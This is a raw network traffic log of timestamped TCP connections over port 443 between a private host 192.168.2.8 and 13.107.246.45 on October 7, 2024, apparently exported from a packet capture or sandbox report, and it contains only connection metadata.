Oct 7, 2024 06:46:01.186256886 CEST	443	49935	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:01.186732054 CEST	49935	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:01.186737061 CEST	443	49935	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:01.188419104 CEST	443	49936	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:01.188676119 CEST	49936	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:01.188715935 CEST	443	49936	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:01.188993931 CEST	49936	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:01.189007044 CEST	443	49936	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:01.284337997 CEST	443	49935	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:01.284480095 CEST	443	49935	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:01.284545898 CEST	49935	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:01.284676075 CEST	49935	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:01.284688950 CEST	443	49935	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:01.284698009 CEST	49935	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:01.284704924 CEST	443	49935	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:01.287266970 CEST	443	49936	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:01.287342072 CEST	443	49936	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:01.287436008 CEST	49936	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:01.287472963 CEST	443	49936	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:01.287508011 CEST	443	49936	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:01.287552118 CEST	49936	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:01.287595034 CEST	49936	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:01.287595034 CEST	49936	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:01.287635088 CEST	443	49936	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:01.287658930 CEST	443	49936	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:01.287910938 CEST	49940	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:01.287962914 CEST	443	49940	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:01.288034916 CEST	49940	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:01.288208008 CEST	49940	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:01.288230896 CEST	443	49940	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:01.289681911 CEST	49941	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:01.289709091 CEST	443	49941	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:01.289776087 CEST	49941	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:01.289894104 CEST	49941	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:01.289905071 CEST	443	49941	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:01.601217985 CEST	443	49937	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:01.602060080 CEST	49937	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:01.602082968 CEST	443	49937	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:01.602583885 CEST	49937	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:01.602591991 CEST	443	49937	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:01.698753119 CEST	443	49939	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:01.699556112 CEST	49939	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:01.699608088 CEST	443	49939	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:01.700004101 CEST	49939	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:01.700018883 CEST	443	49939	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:01.700042963 CEST	443	49937	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:01.700208902 CEST	443	49937	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:01.700320959 CEST	49937	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:01.700397968 CEST	49937	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:01.700418949 CEST	443	49937	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:01.700433969 CEST	49937	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:01.700442076 CEST	443	49937	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:01.703563929 CEST	49942	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:01.703607082 CEST	443	49942	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:01.703799009 CEST	49942	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:01.704159021 CEST	49942	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:01.704175949 CEST	443	49942	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:01.738114119 CEST	443	49938	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:01.738959074 CEST	49938	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:01.738981009 CEST	443	49938	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:01.739464045 CEST	49938	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:01.739470959 CEST	443	49938	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:01.796744108 CEST	443	49939	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:01.796901941 CEST	443	49939	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:01.796996117 CEST	49939	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:01.797089100 CEST	49939	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:01.797133923 CEST	443	49939	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:01.797166109 CEST	49939	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:01.797180891 CEST	443	49939	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:01.800228119 CEST	49943	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:01.800287008 CEST	443	49943	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:01.800369978 CEST	49943	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:01.800527096 CEST	49943	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:01.800537109 CEST	443	49943	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:01.836606026 CEST	443	49938	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:01.836685896 CEST	443	49938	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:01.836750984 CEST	49938	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:01.837040901 CEST	49938	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:01.837064028 CEST	443	49938	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:01.837106943 CEST	49938	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:01.837114096 CEST	443	49938	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:01.842677116 CEST	49944	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:01.842721939 CEST	443	49944	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:01.842796087 CEST	49944	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:01.845246077 CEST	49944	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:01.845263958 CEST	443	49944	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:01.933554888 CEST	443	49940	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:01.934103966 CEST	49940	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:01.934113979 CEST	443	49940	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:01.934577942 CEST	49940	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:01.934582949 CEST	443	49940	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:01.960316896 CEST	443	49941	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:01.960808039 CEST	49941	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:01.960824966 CEST	443	49941	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:01.961185932 CEST	49941	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:01.961190939 CEST	443	49941	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:02.031198025 CEST	443	49940	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:02.031266928 CEST	443	49940	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:02.031342030 CEST	49940	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:02.031357050 CEST	443	49940	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:02.031766891 CEST	443	49940	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:02.031841040 CEST	49940	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:02.033628941 CEST	49940	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:02.033638954 CEST	443	49940	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:02.033652067 CEST	49940	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:02.033657074 CEST	443	49940	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:02.044521093 CEST	49945	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:02.044576883 CEST	443	49945	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:02.044637918 CEST	49945	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:02.057982922 CEST	443	49941	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:02.058347940 CEST	443	49941	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:02.058438063 CEST	49941	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:02.113518953 CEST	49945	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:02.113548994 CEST	443	49945	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:02.113986015 CEST	49941	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:02.114017963 CEST	443	49941	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:02.114033937 CEST	49941	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:02.114039898 CEST	443	49941	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:02.122867107 CEST	49946	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:02.122908115 CEST	443	49946	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:02.122971058 CEST	49946	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:02.123177052 CEST	49946	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:02.123193026 CEST	443	49946	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:02.338557959 CEST	443	49942	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:02.358228922 CEST	49942	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:02.358241081 CEST	443	49942	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:02.358731985 CEST	49942	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:02.358738899 CEST	443	49942	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:02.456636906 CEST	443	49942	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:02.456860065 CEST	443	49942	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:02.457021952 CEST	49942	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:02.511080980 CEST	443	49944	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:02.558269978 CEST	49944	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:02.683670998 CEST	49942	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:02.683686018 CEST	443	49942	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:02.683698893 CEST	49942	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:02.683703899 CEST	443	49942	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:02.690582037 CEST	49944	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:02.690589905 CEST	443	49944	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:02.691195965 CEST	49944	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:02.691203117 CEST	443	49944	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:02.741278887 CEST	49947	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:02.741316080 CEST	443	49947	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:02.741388083 CEST	49947	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:02.741730928 CEST	49947	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:02.741746902 CEST	443	49947	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:02.753135920 CEST	443	49945	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:02.764399052 CEST	49945	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:02.764426947 CEST	443	49945	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:02.764902115 CEST	49945	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:02.764908075 CEST	443	49945	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:02.770308018 CEST	443	49946	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:02.771095991 CEST	49946	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:02.771115065 CEST	443	49946	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:02.771610975 CEST	49946	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:02.771616936 CEST	443	49946	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:02.790302992 CEST	443	49944	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:02.790512085 CEST	443	49944	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:02.790579081 CEST	49944	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:02.790797949 CEST	49944	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:02.790813923 CEST	443	49944	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:02.790827036 CEST	49944	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:02.790832996 CEST	443	49944	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:02.795659065 CEST	49948	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:02.795717955 CEST	443	49948	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:02.795792103 CEST	49948	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:02.796015978 CEST	49948	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:02.796052933 CEST	443	49948	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:02.859909058 CEST	443	49945	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:02.860130072 CEST	443	49945	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:02.860217094 CEST	49945	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:02.860296965 CEST	49945	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:02.860296965 CEST	49945	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:02.860338926 CEST	443	49945	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:02.860367060 CEST	443	49945	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:02.862751007 CEST	49949	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:02.862787008 CEST	443	49949	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:02.862847090 CEST	49949	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:02.862982035 CEST	49949	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:02.862993002 CEST	443	49949	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:02.869920969 CEST	443	49946	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:02.870084047 CEST	443	49946	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:02.870138884 CEST	49946	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:02.870201111 CEST	49946	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:02.870207071 CEST	443	49946	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:02.870218992 CEST	49946	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:02.870224953 CEST	443	49946	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:02.872236967 CEST	49950	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:02.872247934 CEST	443	49950	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:02.872311115 CEST	49950	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:02.872466087 CEST	49950	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:02.872478008 CEST	443	49950	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:03.411216974 CEST	443	49947	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:03.411792994 CEST	49947	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:03.411813974 CEST	443	49947	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:03.412285089 CEST	49947	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:03.412293911 CEST	443	49947	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:03.470985889 CEST	443	49948	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:03.471620083 CEST	49948	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:03.471703053 CEST	443	49948	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:03.472089052 CEST	49948	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:03.472103119 CEST	443	49948	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:03.513432026 CEST	443	49947	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:03.513627052 CEST	443	49947	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:03.513681889 CEST	49947	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:03.513854980 CEST	49947	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:03.513854980 CEST	49947	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:03.513873100 CEST	443	49947	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:03.513883114 CEST	443	49947	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:03.518229961 CEST	49951	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:03.518292904 CEST	443	49951	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:03.518358946 CEST	49951	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:03.518537045 CEST	49951	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:03.518559933 CEST	443	49951	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:03.544810057 CEST	443	49943	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:03.545206070 CEST	49943	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:03.545221090 CEST	443	49943	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:03.545902014 CEST	49943	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:03.545907021 CEST	443	49943	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:03.546478987 CEST	443	49950	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:03.547106981 CEST	49950	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:03.547132969 CEST	443	49950	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:03.547557116 CEST	49950	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:03.547563076 CEST	443	49950	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:03.556818962 CEST	443	49949	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:03.557138920 CEST	49949	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:03.557152987 CEST	443	49949	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:03.557533979 CEST	49949	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:03.557547092 CEST	443	49949	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:03.572767973 CEST	443	49948	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:03.572830915 CEST	443	49948	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:03.572896004 CEST	49948	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:03.572917938 CEST	443	49948	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:03.572948933 CEST	443	49948	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:03.573002100 CEST	49948	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:03.573045969 CEST	49948	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:03.573045969 CEST	49948	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:03.573072910 CEST	443	49948	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:03.573095083 CEST	443	49948	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:03.575665951 CEST	49952	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:03.575691938 CEST	443	49952	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:03.575774908 CEST	49952	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:03.575915098 CEST	49952	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:03.575938940 CEST	443	49952	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:03.647270918 CEST	443	49943	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:03.647468090 CEST	443	49943	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:03.647634983 CEST	49943	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:03.647634983 CEST	49943	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:03.647634983 CEST	49943	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:03.649414062 CEST	443	49950	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:03.649513006 CEST	443	49950	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:03.649557114 CEST	49950	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:03.649574041 CEST	443	49950	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:03.649588108 CEST	443	49950	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:03.649629116 CEST	49950	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:03.649689913 CEST	49950	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:03.649689913 CEST	49953	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:03.649718046 CEST	443	49950	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:03.649736881 CEST	443	49953	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:03.649748087 CEST	49950	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:03.649754047 CEST	443	49950	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:03.649785042 CEST	49953	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:03.649899960 CEST	49953	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:03.649914026 CEST	443	49953	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:03.651554108 CEST	49954	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:03.651563883 CEST	443	49954	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:03.651623011 CEST	49954	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:03.651721001 CEST	49954	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:03.651731968 CEST	443	49954	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:03.659822941 CEST	443	49949	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:03.659967899 CEST	443	49949	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:03.660020113 CEST	49949	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:03.660051107 CEST	49949	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:03.660057068 CEST	443	49949	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:03.660068035 CEST	49949	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:03.660073042 CEST	443	49949	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:03.661942959 CEST	49955	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:03.661993980 CEST	443	49955	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:03.662070990 CEST	49955	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:03.662203074 CEST	49955	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:03.662234068 CEST	443	49955	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:03.948966026 CEST	49943	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:03.948996067 CEST	443	49943	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:04.152710915 CEST	443	49951	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:04.153326035 CEST	49951	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:04.153410912 CEST	443	49951	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:04.153800011 CEST	49951	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:04.153815985 CEST	443	49951	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:04.229679108 CEST	443	49952	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:04.230370998 CEST	49952	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:04.230438948 CEST	443	49952	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:04.230679035 CEST	49952	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:04.230698109 CEST	443	49952	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:04.251666069 CEST	443	49951	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:04.251748085 CEST	443	49951	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:04.251818895 CEST	49951	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:04.251945019 CEST	49951	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:04.251995087 CEST	443	49951	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:04.252027035 CEST	49951	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:04.252043009 CEST	443	49951	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:04.254776001 CEST	49956	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:04.254817963 CEST	443	49956	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:04.254900932 CEST	49956	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:04.255027056 CEST	49956	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:04.255048990 CEST	443	49956	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:04.296355963 CEST	443	49954	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:04.296879053 CEST	49954	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:04.296910048 CEST	443	49954	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:04.297369003 CEST	49954	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:04.297379971 CEST	443	49954	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:04.326759100 CEST	443	49953	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:04.327166080 CEST	49953	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:04.327195883 CEST	443	49953	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:04.327555895 CEST	49953	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:04.327565908 CEST	443	49953	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:04.328581095 CEST	443	49955	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:04.329085112 CEST	49955	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:04.329152107 CEST	443	49955	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:04.329336882 CEST	49955	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:04.329365969 CEST	443	49955	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:04.329365015 CEST	443	49952	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:04.329436064 CEST	443	49952	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:04.329533100 CEST	443	49952	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:04.329668999 CEST	49952	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:04.329668999 CEST	49952	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:04.329766989 CEST	49952	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:04.329766989 CEST	49952	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:04.329842091 CEST	443	49952	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:04.329874992 CEST	443	49952	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:04.332833052 CEST	49957	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:04.332873106 CEST	443	49957	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:04.333085060 CEST	49957	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:04.333123922 CEST	49957	443	192.168.2.8	13.107.246.45
